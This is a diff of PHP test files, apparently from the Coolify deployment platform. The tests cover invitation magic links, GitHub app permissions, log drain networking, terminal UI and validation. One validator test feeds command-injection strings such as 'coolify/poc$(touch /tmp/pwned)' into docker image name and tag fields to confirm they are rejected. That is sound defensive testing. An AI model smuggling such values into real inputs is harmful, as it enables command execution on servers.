@@ -305,4 +368,65 @@ describe('GitHub Source Change Component', function () {
return str_contains($message, 'Private Key not found');
});
});
test('checkPermissions syncs refetched permissions into input fields', function () {
$privateKey = PrivateKey::create([
'name' => 'Test Key',
'private_key' => validPrivateKey(),
'team_id' => $this->team->id,
]);
$githubApp = GithubApp::create([
'name' => 'Test GitHub App',
'api_url' => 'https://api.github.com',
'html_url' => 'https://github.com',
'custom_user' => 'git',
'custom_port' => 22,
'app_id' => 12345,
'installation_id' => 67890,
'client_id' => 'test-client-id',
'client_secret' => 'test-client-secret',
'webhook_secret' => 'test-webhook-secret',
'private_key_id' => $privateKey->id,
'team_id' => $this->team->id,
'is_system_wide' => false,
'contents' => null,
'metadata' => null,
'pull_requests' => null,
]);
Http::preventStrayRequests();
Http::fake([
'https://api.github.com/zen' => Http::response('Keep it logically awesome.', 200, [
'date' => now()->toRfc7231String(),
]),
'https://api.github.com/app' => Http::response([
'permissions' => [
'contents' => 'read',
'metadata' => 'read',
'pull_requests' => 'write',
],
]),
]);
Livewire::withQueryParams(['github_app_uuid' => $githubApp->uuid])
->test(Change::class)
->assertSuccessful()
->assertSet('name', 'test-git-hub-app')
->assertSet('contents', null)
->assertSet('metadata', null)
->assertSet('pullRequests', null)
->call('checkPermissions')
->assertDispatched('success')
->assertSet('name', 'test-git-hub-app')
->assertSet('contents', 'read')
->assertSet('metadata', 'read')
->assertSet('pullRequests', 'write');
$githubApp->refresh();
expect($githubApp->contents)->toBe('read')
->and($githubApp->metadata)->toBe('read')
->and($githubApp->pull_requests)->toBe('write');
});
});
@@ -0,0 +1,131 @@
<?php
use App\Http\Middleware\CheckForcePasswordReset;
use App\Http\Middleware\DecideWhatToDoWithUser;
use App\Models\InstanceSettings;
use App\Models\Team;
use App\Models\TeamInvitation;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Config;
use Illuminate\Support\Facades\Crypt;
use Illuminate\Support\Facades\Hash;
use Illuminate\Support\Once;
use Visus\Cuid2\Cuid2;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->withoutMiddleware([DecideWhatToDoWithUser::class, CheckForcePasswordReset::class]);
Once::flush();
Config::set('app.maintenance.driver', 'file');
Config::set('cache.default', 'array');
Config::set('session.driver', 'array');
if (! InstanceSettings::find(0)) {
$settings = new InstanceSettings;
$settings->id = 0;
$settings->saveQuietly();
}
});
function createInvitationLinkFixture(array $invitationAttributes = []): array
{
$team = Team::factory()->create();
$password = 'temporary-password-123';
$user = User::factory()->create([
'email' => $invitationAttributes['email'] ?? 'invitee@example.com',
'password' => Hash::make($password),
'force_password_reset' => true,
'email_verified_at' => null,
]);
$uuid = (string) new Cuid2(32);
$token = Crypt::encryptString("{$user->email}@@@{$uuid}@@@{$password}");
$link = route('auth.link', ['token' => $token]);
$invitation = TeamInvitation::create(array_merge([
'team_id' => $team->id,
'uuid' => $uuid,
'email' => $user->email,
'role' => 'member',
'link' => $link,
'via' => 'link',
], $invitationAttributes));
return [$team, $user, $password, $token, $invitation];
}
it('accepts a valid magic link invitation only once and rotates the temporary password', function () {
[$team, $user, $password, $token] = createInvitationLinkFixture();
$this->get(route('auth.link', ['token' => $token]))
->assertRedirect(route('dashboard'));
$this->assertAuthenticatedAs($user);
$this->assertDatabaseMissing('team_invitations', ['email' => $user->email]);
expect($user->teams()->where('team_id', $team->id)->exists())->toBeTrue();
$user->refresh();
expect(Hash::check($password, $user->password))->toBeFalse();
auth()->logout();
session()->flush();
$this->get(route('auth.link', ['token' => $token]))
->assertRedirect(route('login'));
$this->assertGuest();
});
it('rejects a magic link when the invitation was revoked', function () {
[, $user, , $token, $invitation] = createInvitationLinkFixture();
$invitation->delete();
$this->get(route('auth.link', ['token' => $token]))
->assertRedirect(route('login'));
$this->assertGuest();
expect($user->teams()->where('personal_team', false)->exists())->toBeFalse();
});
it('rejects a magic link when another invitation exists for the same email', function () {
[, $user, , $token, $invitation] = createInvitationLinkFixture();
$invitation->delete();
$otherTeam = Team::factory()->create();
TeamInvitation::create([
'team_id' => $otherTeam->id,
'uuid' => (string) new Cuid2(32),
'email' => $user->email,
'role' => 'admin',
'link' => url('/invitations/other-invitation'),
'via' => 'link',
]);
$this->get(route('auth.link', ['token' => $token]))
->assertRedirect(route('login'));
$this->assertGuest();
expect($user->teams()->where('team_id', $otherTeam->id)->exists())->toBeFalse();
});
it('rejects a magic link when the invitation expired', function () {
[, $user, , $token, $invitation] = createInvitationLinkFixture();
$invitation->forceFill([
'created_at' => now()->subDays(config('constants.invitation.link.expiration_days') + 1),
'updated_at' => now()->subDays(config('constants.invitation.link.expiration_days') + 1),
])->save();
$this->get(route('auth.link', ['token' => $token]))
->assertRedirect(route('login'));
$this->assertGuest();
$this->assertDatabaseMissing('team_invitations', ['id' => $invitation->id]);
});
it('rejects a malformed magic link token', function () {
$this->get(route('auth.link', ['token' => 'not-a-valid-token']))
->assertRedirect(route('login'));
$this->assertGuest();
});
@@ -4,8 +4,10 @@ use App\Http\Middleware\CheckForcePasswordReset;
use App\Http\Middleware\DecideWhatToDoWithUser;
use App\Models\InstanceSettings;
use App\Models\Team;
use App\Models\TeamInvitation;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Config;
use Illuminate\Support\Facades\Crypt;
use Illuminate\Support\Facades\Hash;
use Illuminate\Support\Once;
@@ -15,6 +17,10 @@ uses(RefreshDatabase::class);
beforeEach(function () {
$this->withoutMiddleware([DecideWhatToDoWithUser::class, CheckForcePasswordReset::class]);
Once::flush();
Config::set('app.maintenance.driver', 'file');
Config::set('cache.default', 'array');
Config::set('session.driver', 'array');
if (! InstanceSettings::find(0)) {
$settings = new InstanceSettings;
$settings->id = 0;
@@ -33,7 +39,16 @@ describe('invitation link login', function () {
]);
$user->teams()->attach($team->id, ['role' => 'member']);
$token = Crypt::encryptString("{$user->email}@@@{$password}");
$uuid = 'email-verification-test-invitation';
$token = Crypt::encryptString("{$user->email}@@@{$uuid}@@@{$password}");
TeamInvitation::create([
'team_id' => $team->id,
'uuid' => $uuid,
'email' => $user->email,
'role' => 'member',
'link' => route('auth.link', ['token' => $token]),
'via' => 'link',
]);
$this->get(route('auth.link', ['token' => $token]));
@@ -51,9 +66,19 @@ describe('invitation link login', function () {
]);
$user->teams()->attach($team->id, ['role' => 'member']);
$token = Crypt::encryptString("{$user->email}@@@{$password}");
$uuid = 'email-verification-login-test-invitation';
$token = Crypt::encryptString("{$user->email}@@@{$uuid}@@@{$password}");
TeamInvitation::create([
'team_id' => $team->id,
'uuid' => $uuid,
'email' => $user->email,
'role' => 'member',
'link' => route('auth.link', ['token' => $token]),
'via' => 'link',
]);
$this->get(route('auth.link', ['token' => $token]));
$this->get(route('auth.link', ['token' => $token]))
->assertRedirect(route('dashboard'));
expect(auth()->id())->toBe($user->id);
});
@@ -0,0 +1,21 @@
<?php
use App\Livewire\Project\Application\General;
it('uses safe docker registry image validation rules in the application general form', function () {
$component = new General;
$method = new ReflectionMethod($component, 'rules');
$rules = $method->invoke($component);
$validator = validator([
'dockerRegistryImageName' => 'coolify/poc$(touch /tmp/pwned)',
'dockerRegistryImageTag' => 'latest$(touch /tmp/pwned)',
], [
'dockerRegistryImageName' => $rules['dockerRegistryImageName'],
'dockerRegistryImageTag' => $rules['dockerRegistryImageTag'],
]);
expect($validator->fails())->toBeTrue()
->and($validator->errors()->has('dockerRegistryImageName'))->toBeTrue()
->and($validator->errors()->has('dockerRegistryImageTag'))->toBeTrue();
});
@@ -0,0 +1,21 @@
<?php
it('keeps sentinel restarted events from re-syncing editable form fields', function () {
$componentSource = file_get_contents(app_path('Livewire/Server/Sentinel.php'));
preg_match('/public function handleSentinelRestarted\([^)]*\)\s*\{(?<body>.*?)\n \}/s', $componentSource, $matches);
expect($matches['body'] ?? '')
->toContain('$this->sentinelUpdatedAt = $this->server->sentinel_updated_at;')
->not->toContain('$this->syncData();');
});
it('dispatches a server navbar refresh after toggling sentinel', function () {
$componentSource = file_get_contents(app_path('Livewire/Server/Sentinel.php'));
preg_match('/public function toggleSentinel\([^)]*\).*?\{(?<body>.*?)
\}/s', $componentSource, $matches);
expect($matches['body'] ?? '')
->toContain("\$this->dispatch('refreshServerShow');");
});
+39
View File
@@ -0,0 +1,39 @@
<?php
use Illuminate\Support\Str;
function bladeView(string $path): string
{
return file_get_contents(base_path($path));
}
it('guards deployment log clipboard writes and reports promise failures', function () {
$view = bladeView('resources/views/livewire/project/application/deployment/show.blade.php');
expect($view)
->toContain('copyLogs()')
->toContain('navigator.clipboard?.writeText')
->toContain("Livewire.dispatch('error', ['Clipboard is not available. Please use HTTPS or localhost.']);")
->toContain("Livewire.dispatch('error', ['Failed to copy logs to clipboard.']);")
->toContain("Livewire.dispatch('success', ['Logs copied to clipboard.']);");
expect(Str::between($view, 'copyLogs() {', 'downloadLogs()'))
->toContain('navigator.clipboard?.writeText(content).then(() =>')
->not->toContain("navigator.clipboard.writeText(content);\n Livewire.dispatch('success'");
});
it('guards shared log clipboard writes and handles Livewire preparation failures', function () {
$view = bladeView('resources/views/livewire/project/shared/get-logs.blade.php');
expect($view)
->toContain('navigator.clipboard?.writeText')
->toContain("Livewire.dispatch('error', ['Clipboard is not available. Please use HTTPS or localhost.']);")
->toContain("Livewire.dispatch('error', ['Failed to copy logs to clipboard.']);")
->toContain("Livewire.dispatch('error', ['Failed to prepare logs for clipboard.']);")
->toContain("Livewire.dispatch('success', ['Logs copied to clipboard.']);");
expect($view)
->toContain('$wire.copyLogs().then(logs =>')
->toContain('}).catch(() => {')
->not->toContain('navigator.clipboard.writeText(logs);');
});
@@ -0,0 +1,97 @@
<?php
use App\Actions\Server\StartLogDrain;
use App\Actions\Service\StartService;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\Service;
use App\Models\StandaloneDocker;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
function reflectedLogDrainNetworkCommands(object $action, Server|Service $model): array
{
$method = new ReflectionMethod($action, 'logDrainNetworkConnectCommands');
$method->setAccessible(true);
return $method->invoke($action, $model);
}
function createServerWithTeam(): Server
{
$team = Team::factory()->create();
return Server::factory()->create(['team_id' => $team->id]);
}
function createServiceOnServer(Server $server, string $network, bool $connectToDockerNetwork = true): Service
{
$team = Team::factory()->create();
$project = Project::factory()->create(['team_id' => $team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
$destination = StandaloneDocker::query()->firstOrCreate(
['server_id' => $server->id, 'network' => $network],
['uuid' => fake()->uuid(), 'name' => fake()->unique()->word()]
);
return Service::factory()->create([
'server_id' => $server->id,
'environment_id' => $environment->id,
'destination_id' => $destination->id,
'destination_type' => StandaloneDocker::class,
'connect_to_docker_network' => $connectToDockerNetwork,
'docker_compose' => "services:\n signoz:\n image: signoz/signoz:latest\n",
]);
}
it('connects the log drain container to a service preferred network when the server log drain is enabled', function () {
$server = createServerWithTeam();
$server->settings()->update(['is_logdrain_custom_enabled' => true]);
$service = createServiceOnServer($server, 'signoz-net', true);
$commands = reflectedLogDrainNetworkCommands(new StartService, $service->fresh(['destination.server.settings']));
expect($commands)->toContain("docker network connect 'signoz-net' coolify-log-drain >/dev/null 2>&1 || true");
});
it('does not connect the log drain container when service preferred network is disabled', function () {
$server = createServerWithTeam();
$server->settings()->update(['is_logdrain_custom_enabled' => true]);
$service = createServiceOnServer($server, 'signoz-net', false);
$commands = reflectedLogDrainNetworkCommands(new StartService, $service->fresh(['destination.server.settings']));
expect($commands)->toBeEmpty();
});
it('does not connect the log drain container when the server log drain is disabled', function () {
$server = createServerWithTeam();
$service = createServiceOnServer($server, 'signoz-net', true);
$commands = reflectedLogDrainNetworkCommands(new StartService, $service->fresh(['destination.server.settings']));
expect($commands)->toBeEmpty();
});
it('connects a restarted log drain container to all enabled service preferred networks on the server', function () {
$server = createServerWithTeam();
$server->settings()->update(['is_logdrain_custom_enabled' => true]);
createServiceOnServer($server, 'signoz-net', true);
createServiceOnServer($server, 'ignored-net', false);
createServiceOnServer($server, 'signoz-net', true);
$otherServer = createServerWithTeam();
createServiceOnServer($otherServer, 'other-server-net', true);
$commands = reflectedLogDrainNetworkCommands(new StartLogDrain, $server->fresh(['settings']));
expect($commands)
->toContain("docker network connect 'signoz-net' coolify-log-drain >/dev/null 2>&1 || true")
->not->toContain("docker network connect 'ignored-net' coolify-log-drain >/dev/null 2>&1 || true")
->not->toContain("docker network connect 'other-server-net' coolify-log-drain >/dev/null 2>&1 || true");
expect($commands)->toHaveCount(1);
});
+11
View File
@@ -192,3 +192,14 @@ test('tool calls fail when the token lacks the read ability', function () {
expect($response->json('result.isError'))->toBeTrue();
expect($response->json('result.content.0.text'))->toContain('Missing required permissions');
});
test('MCP rejects token when user no longer belongs to token team', function () {
Project::create(['name' => 'Hidden', 'team_id' => $this->team->id]);
$token = $this->user->createToken('mcp-read', ['read'])->plainTextToken;
$this->team->members()->detach($this->user->id);
$response = mcpCallTool($token, 'list_projects');
$response->assertUnauthorized();
});
+16
View File
@@ -0,0 +1,16 @@
<?php
it('strips leftover x-cloak after wire:navigate to prevent blank page', function () {
$appJs = file_get_contents(resource_path('js/app.js'));
expect($appJs)
->toContain("document.addEventListener('livewire:navigated'")
->toContain("querySelectorAll('[x-cloak]')")
->toContain("removeAttribute('x-cloak')");
});
it('keeps the initial-load x-cloak guard on the app wrapper', function () {
$layout = file_get_contents(resource_path('views/layouts/app.blade.php'));
expect($layout)->toContain('x-cloak');
});
+2 -2
View File
@@ -30,7 +30,7 @@ it('logs in an existing user when the oauth provider returns a mixed-case email'
'email' => 'username@example.edu',
]);
$provider = \Mockery::mock();
$provider = Mockery::mock();
$provider->shouldReceive('setConfig')->once()->andReturnSelf();
$provider->shouldReceive('with')->once()->with(['hd' => 'example.com'])->andReturnSelf();
$provider->shouldReceive('user')->once()->andReturn((object) [
@@ -58,7 +58,7 @@ it('rejects oauth logins when the provider does not return an email address', fu
'is_registration_enabled' => true,
]);
$provider = \Mockery::mock();
$provider = Mockery::mock();
$provider->shouldReceive('setConfig')->once()->andReturnSelf();
$provider->shouldReceive('with')->once()->with(['hd' => 'example.com'])->andReturnSelf();
$provider->shouldReceive('user')->once()->andReturn((object) [
@@ -21,6 +21,12 @@ it('renders password input with Alpine-managed visibility state', function () {
->not->toContain('changePasswordFieldType');
});
it('renders password input before visibility toggle in tab order', function () {
$html = Blade::render('<x-forms.input type="password" id="secret" />');
expect(strpos($html, '<input'))->toBeLessThan(strpos($html, 'aria-label="Toggle password visibility"'));
});
it('renders password textarea with Alpine-managed visibility state', function () {
$html = Blade::render('<x-forms.textarea type="password" id="secret" />');
@@ -31,6 +37,12 @@ it('renders password textarea with Alpine-managed visibility state', function ()
->not->toContain('changePasswordFieldType');
});
it('renders password textarea input before visibility toggle in tab order', function () {
$html = Blade::render('<x-forms.textarea type="password" id="secret" />');
expect(strpos($html, '<input'))->toBeLessThan(strpos($html, 'aria-label="Toggle password visibility"'));
});
it('renders textarea without monospace classes by default', function () {
$html = Blade::render('<x-forms.textarea id="notes" />');
@@ -53,3 +65,9 @@ it('resets password visibility on success event for env-var-input', function ()
->toContain("x-on:click=\"type = type === 'password' ? 'text' : 'password'\"")
->toContain('x-bind:type="type"');
});
it('renders env var password input before visibility toggle in tab order', function () {
$html = Blade::render('<x-forms.env-var-input type="password" id="secret" />');
expect(strpos($html, '<input'))->toBeLessThan(strpos($html, 'aria-label="Toggle password visibility"'));
});
@@ -0,0 +1,71 @@
<?php
use Illuminate\Support\Str;
function runPostgresUpgradeScriptCommand(string $script): array
{
$root = base_path();
$workingDirectory = sys_get_temp_dir().'/coolify-postgres-upgrade-test-'.Str::random(12);
$binDirectory = $workingDirectory.'/bin';
mkdir($binDirectory, 0777, true);
file_put_contents($binDirectory.'/docker', <<<'BASH'
#!/bin/bash
if [ "$1" = "inspect" ]; then
printf '%s\n' "${MOCK_DOCKER_IMAGE}"
exit 0
fi
if [ "$1" = "compose" ]; then
printf '%s\n' "${LATEST_IMAGE}" > "${MOCK_LATEST_IMAGE_OUTPUT}"
exit 0
fi
exit 1
BASH);
chmod($binDirectory.'/docker', 0755);
$outputFile = $workingDirectory.'/latest-image.txt';
$command = sprintf(
'PATH=%s:$PATH MOCK_LATEST_IMAGE_OUTPUT=%s COOLIFY_POSTGRES_UPGRADE_SOURCE_ONLY=true bash -c %s 2>&1',
escapeshellarg($binDirectory),
escapeshellarg($outputFile),
escapeshellarg('cd '.escapeshellarg($root).'; '.$script),
);
exec($command, $output, $exitCode);
return [$exitCode, implode("\n", $output), is_file($outputFile) ? trim(file_get_contents($outputFile)) : null];
}
it('detects the current Coolify image tag from the running container image', function (string $scriptPath, string $image, string $expectedTag) {
[$exitCode, $output] = runPostgresUpgradeScriptCommand(sprintf(
'MOCK_DOCKER_IMAGE=%s; export MOCK_DOCKER_IMAGE; source %s; current_coolify_image_tag',
escapeshellarg($image),
escapeshellarg($scriptPath),
));
expect($exitCode)->toBe(0)
->and($output)->toBe($expectedTag);
})->with([
'nightly standard registry image' => ['other/nightly/upgrade-postgres.sh', 'ghcr.io/coollabsio/coolify:4.0.0-beta.420', '4.0.0-beta.420'],
'nightly registry with port' => ['other/nightly/upgrade-postgres.sh', 'registry.example.com:5000/coollabsio/coolify:4.0.1', '4.0.1'],
'nightly digest suffix' => ['other/nightly/upgrade-postgres.sh', 'ghcr.io/coollabsio/coolify:4.0.2@sha256:abcdef', '4.0.2'],
'scripts standard registry image' => ['scripts/upgrade-postgres.sh', 'ghcr.io/coollabsio/coolify:4.0.0-beta.420', '4.0.0-beta.420'],
'scripts registry with port' => ['scripts/upgrade-postgres.sh', 'registry.example.com:5000/coollabsio/coolify:4.0.1', '4.0.1'],
'scripts digest suffix' => ['scripts/upgrade-postgres.sh', 'ghcr.io/coollabsio/coolify:4.0.2@sha256:abcdef', '4.0.2'],
]);
it('passes the preserved Coolify image tag to docker compose when starting the stack', function (string $scriptPath) {
[$exitCode, $output, $latestImage] = runPostgresUpgradeScriptCommand(
sprintf('source %s; start_stack 4.0.0-beta.420', escapeshellarg($scriptPath)),
);
expect($exitCode)->toBe(0)
->and($output)->toBe('')
->and($latestImage)->toBe('4.0.0-beta.420');
})->with([
'nightly script' => 'other/nightly/upgrade-postgres.sh',
'release script' => 'scripts/upgrade-postgres.sh',
]);
@@ -0,0 +1,43 @@
<?php
it('adds profile navigation with an appearance tab and route', function () {
$routes = file_get_contents(base_path('routes/web.php'));
$profileNavbar = file_get_contents(resource_path('views/components/profile/navbar.blade.php'));
$profileView = file_get_contents(resource_path('views/livewire/profile/index.blade.php'));
expect($routes)
->toContain("Route::get('/profile/appearance', ProfileAppearance::class)->name('profile.appearance')")
->and($profileNavbar)
->toContain('route(\'profile\')')
->toContain('route(\'profile.appearance\')')
->toContain('General')
->toContain('Appearance')
->and($profileView)
->toContain('<x-profile.navbar />')
->not->toContain('<h1>Profile</h1>\n <div class="subtitle -mt-2">');
});
it('moves appearance preferences to the profile appearance view', function () {
$appearanceView = file_get_contents(resource_path('views/livewire/profile/appearance.blade.php'));
expect($appearanceView)
->toContain('<x-profile.navbar />')
->toContain("setTheme('light')")
->toContain("setTheme('system')")
->toContain("setTheme('dark')")
->toContain("setWidth('center')")
->toContain("setWidth('full')")
->toContain("setZoom('100')")
->toContain("setZoom('90')")
->toContain('aria-label="Use light theme"')
->toContain('aria-label="Use system theme"')
->toContain('aria-label="Use dark theme"')
->toContain('aria-label="Use centered width"')
->toContain('aria-label="Use full width"')
->toContain('aria-label="Use 100 percent zoom"')
->toContain('aria-label="Use 90 percent zoom"')
->toContain('max-w-2xl')
->toContain('class="space-y-1.5"')
->toContain('gap-1.5')
->toContain('px-2 py-1 text-sm');
});
@@ -1,17 +1,19 @@
<?php
use App\Jobs\PushServerUpdateJob;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\StandalonePostgresql;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
test('database last_online_at is updated when status unchanged', function () {
test('database last_online_at is not updated when status is unchanged', function () {
$team = Team::factory()->create();
$database = StandalonePostgresql::factory()->create([
'team_id' => $team->id,
$database = createPushUpdatePostgresql($team, [
'status' => 'running:healthy',
'last_online_at' => now()->subMinutes(5),
]);
@@ -40,15 +42,13 @@ test('database last_online_at is updated when status unchanged', function () {
$database->refresh();
// last_online_at should be updated even though status didn't change
expect($database->last_online_at->greaterThan($oldLastOnline))->toBeTrue();
expect((string) $database->last_online_at)->toBe((string) $oldLastOnline);
expect($database->status)->toBe('running:healthy');
});
test('database status is updated when container status changes', function () {
$team = Team::factory()->create();
$database = StandalonePostgresql::factory()->create([
'team_id' => $team->id,
$database = createPushUpdatePostgresql($team, [
'status' => 'exited',
]);
@@ -79,8 +79,7 @@ test('database status is updated when container status changes', function () {
test('database is not marked exited when containers list is empty', function () {
$team = Team::factory()->create();
$database = StandalonePostgresql::factory()->create([
'team_id' => $team->id,
$database = createPushUpdatePostgresql($team, [
'status' => 'running:healthy',
]);
@@ -99,3 +98,31 @@ test('database is not marked exited when containers list is empty', function ()
// Status should remain running, NOT be set to exited
expect($database->status)->toBe('running:healthy');
});
function createPushUpdatePostgresql(Team $team, array $attributes = []): StandalonePostgresql
{
$lastOnlineAt = $attributes['last_online_at'] ?? null;
unset($attributes['last_online_at']);
$server = Server::factory()->create(['team_id' => $team->id]);
$destination = StandaloneDocker::where('server_id', $server->id)->first()
?? StandaloneDocker::factory()->create(['server_id' => $server->id]);
$project = Project::factory()->create(['team_id' => $team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
$database = StandalonePostgresql::create(array_merge([
'uuid' => (string) str()->uuid(),
'name' => 'postgres-'.str()->random(8),
'postgres_password' => 'secret',
'status' => 'exited',
'destination_id' => $destination->id,
'destination_type' => $destination->getMorphClass(),
'environment_id' => $environment->id,
], $attributes));
if ($lastOnlineAt !== null) {
$database->forceFill(['last_online_at' => $lastOnlineAt])->saveQuietly();
}
return $database;
}
+11 -4
View File
@@ -4,17 +4,21 @@ use App\Jobs\PushServerUpdateJob;
use App\Models\Server;
use App\Models\Service;
use App\Models\ServiceApplication;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
test('containers with empty service subId are skipped', function () {
$server = Server::factory()->create();
$team = Team::factory()->create();
$server = Server::factory()->create(['team_id' => $team->id]);
$service = Service::factory()->create([
'server_id' => $server->id,
]);
$serviceApp = ServiceApplication::factory()->create([
$serviceApp = ServiceApplication::create([
'service_id' => $service->id,
'uuid' => (string) str()->uuid(),
'name' => 'app-'.str()->random(8),
]);
$data = [
@@ -44,12 +48,15 @@ test('containers with empty service subId are skipped', function () {
});
test('containers with valid service subId are processed', function () {
$server = Server::factory()->create();
$team = Team::factory()->create();
$server = Server::factory()->create(['team_id' => $team->id]);
$service = Service::factory()->create([
'server_id' => $server->id,
]);
$serviceApp = ServiceApplication::factory()->create([
$serviceApp = ServiceApplication::create([
'service_id' => $service->id,
'uuid' => (string) str()->uuid(),
'name' => 'app-'.str()->random(8),
]);
$data = [
+122 -10
View File
@@ -24,11 +24,12 @@ it('keeps terminal browser logging restricted to Vite development mode', functio
->not->toContain("console.log('[Terminal] WebSocket connection established. Cool cool cool cool cool cool.');");
});
it('keeps realtime terminal server logging restricted to development environments', function () {
it('keeps realtime terminal server logging behind the explicit debug flag', function () {
$terminalServer = file_get_contents(base_path('docker/coolify-realtime/terminal-server.js'));
expect($terminalServer)
->toContain("const terminalDebugEnabled = ['local', 'development'].includes(")
->toContain('const debugOverride = String(process.env.TERMINAL_DEBUG')
->toContain("['1', 'true', 'yes', 'on'].includes(debugOverride)")
->toContain('if (!terminalDebugEnabled) {')
->not->toContain("console.log('Coolify realtime terminal server listening on port 6002. Let the hacking begin!');");
});
@@ -58,22 +59,45 @@ it('uses a fast probe timeout when the tab regains visibility', function () {
->toContain("'Visibility-resume timeout'");
});
it('closes idle terminal sessions after 30 minutes on the server', function () {
it('does not hard close terminal sessions after 30 minutes on the server', function () {
$terminalServer = file_get_contents(base_path('docker/coolify-realtime/terminal-server.js'));
expect($terminalServer)
->toContain('IDLE_TIMEOUT_MS = 30 * 60 * 1000')
->toContain('lastActivityAt')
->toContain("ws.send('idle-timeout');")
->toContain("ws.close(1000, 'Idle timeout');");
->not->toContain('IDLE_TIMEOUT_MS = 30 * 60 * 1000')
->not->toContain("ws.send('idle-timeout');")
->not->toContain("ws.close(1000, 'Idle timeout');");
});
it('reacts to idle-timeout sentinel on the client and shows a user-facing error', function () {
it('does not close the client terminal from an idle-timeout sentinel', function () {
$terminalClient = file_get_contents(base_path('resources/js/terminal.js'));
expect($terminalClient)
->toContain("event.data === 'idle-timeout'")
->toContain('Terminal closed after 30 minutes of inactivity.');
->not->toContain("event.data === 'idle-timeout'")
->not->toContain('Terminal closed after 30 minutes of inactivity.');
});
it('keeps Livewire alive in background tabs while a terminal is connected', function () {
$terminalComponent = file_get_contents(base_path('app/Livewire/Project/Shared/Terminal.php'));
$terminalView = file_get_contents(base_path('resources/views/livewire/project/shared/terminal.blade.php'));
expect($terminalComponent)
->toContain('public bool $isTerminalConnected = false;')
->toContain("#[On('terminalConnected')]")
->toContain('public function markTerminalConnected(): void')
->toContain('public function keepTerminalPageAlive(): void')
->and($terminalView)
->toContain('@if ($isTerminalConnected)')
->toContain('wire:poll.keep-alive.30s="keepTerminalPageAlive"');
});
it('exits fullscreen when the terminal process exits', function () {
$terminalClient = file_get_contents(resource_path('js/terminal.js'));
expect($terminalClient)
->toContain("event.data === 'pty-exited'")
->toContain('this.fullscreen = false;
this.mobileToolbarCollapsed = false;
this.terminalActive = false;');
});
it('replays the last command on reconnect so the PTY respawns automatically', function () {
@@ -104,3 +128,91 @@ it('preserves terminal scrollback across transient reconnects', function () {
// resetTerminal must NOT call term.reset()/term.clear() any more — those wipe scrollback.
->not->toContain("this.term.reset();\n this.term.clear();");
});
it('renders a compact mobile terminal toolbar with shell control keys', function () {
$terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));
$appCss = file_get_contents(resource_path('css/app.css'));
expect($terminalView)
->toContain('Terminal keys')
->toContain('sm:hidden')
->toContain("sendTerminalControl('arrowUp')")
->toContain("sendTerminalControl('arrowDown')")
->toContain("sendTerminalControl('arrowLeft')")
->toContain("sendTerminalControl('arrowRight')")
->toContain("sendTerminalControl('tab')")
->toContain("sendTerminalControl('escape')")
->not->toContain("sendTerminalControl('ctrlC')")
->not->toContain('pasteFromClipboard()')
->not->toContain('copyTerminalSelection()')
->toContain('mobileToolbarCollapsed')
->toContain("fullscreen ? 'absolute inset-x-0 bottom-0 z-[9999] px-2 pb-2' : 'relative mt-2'")
->toContain('data-terminal-mobile-toolbar')
->and($appCss)
->toContain('.terminal-mobile-key');
});
it('sends terminal mobile toolbar controls through the websocket', function () {
$terminalClient = file_get_contents(resource_path('js/terminal.js'));
expect($terminalClient)
->toContain('sendTerminalInput(data)')
->toContain('sendTerminalControl(sequence)')
->toContain("arrowUp: '\\x1b[A'")
->toContain("arrowDown: '\\x1b[B'")
->toContain("arrowRight: '\\x1b[C'")
->toContain("arrowLeft: '\\x1b[D'")
->toContain("tab: '\\t'")
->toContain("escape: '\\x1b'")
->toContain("ctrlC: '\\x03'")
->toContain('navigator.clipboard.readText()')
->toContain('navigator.clipboard.writeText(selection)');
});
it('uses terminal dimensions when resizing so mobile controls do not cover terminal rows', function () {
$terminalClient = file_get_contents(resource_path('js/terminal.js'));
expect($terminalClient)
->toContain("document.getElementById('terminal')")
->toContain('terminalHeight')
->toContain('terminalWidth')
->not->toContain('const wrapperHeight = this.$refs.terminalWrapper.clientHeight;');
});
it('uses simple fullscreen bottom margin based on mobile toolbar visibility', function () {
$terminalClient = file_get_contents(resource_path('js/terminal.js'));
$terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));
expect($terminalClient)
->not->toContain('updateFullscreenLayout()')
->not->toContain('terminalFullscreenHeight')
->not->toContain('window.visualViewport?.height')
->and($terminalView)
->toContain("mobileToolbarCollapsed ? 'h-[calc(100dvh-3.5rem)] mb-14 px-2 py-1 bg-black' : 'h-[calc(100dvh-6rem)] mb-[6rem] px-2 py-1 bg-black'")
->toContain("fullscreen ? 'absolute inset-x-0 bottom-0 z-[9999] px-2 pb-2'");
});
it('resizes after toggling the mobile terminal toolbar', function () {
$terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));
expect($terminalView)
->toContain('$nextTick(() => resizeTerminal())');
});
it('uses fixed viewport positioning for fullscreen terminal instead of inherited container size', function () {
$terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));
expect($terminalView)
->toContain('fixed inset-0')
->toContain('h-[100dvh]')
->toContain('w-screen')
->toContain('max-w-none')
->toContain('overflow-hidden');
});
it('constrains normal terminal height after leaving fullscreen', function () {
$terminalView = file_get_contents(resource_path('views/livewire/project/shared/terminal.blade.php'));
expect($terminalView)
->toContain('h-[510px] max-h-[calc(100dvh-10rem)] overflow-hidden');
});
+12
View File
@@ -21,6 +21,18 @@ it('schedules RegenerateSslCertJob with onOneServer to prevent multi-server doub
expect($event->onOneServer)->toBeTrue();
});
it('schedules ssh mux cleanup locally on every scheduler host', function () {
$schedule = app(Schedule::class);
$event = collect($schedule->events())->first(
fn ($e) => (string) $e->description === 'cleanup:ssh-mux'
);
expect($event)->not->toBeNull();
expect($event->onOneServer)->toBeFalse();
expect($event->getSummaryForDisplay())->toBe('cleanup:ssh-mux');
});
it('schedules every production job with onOneServer', function () {
$schedule = app(Schedule::class);
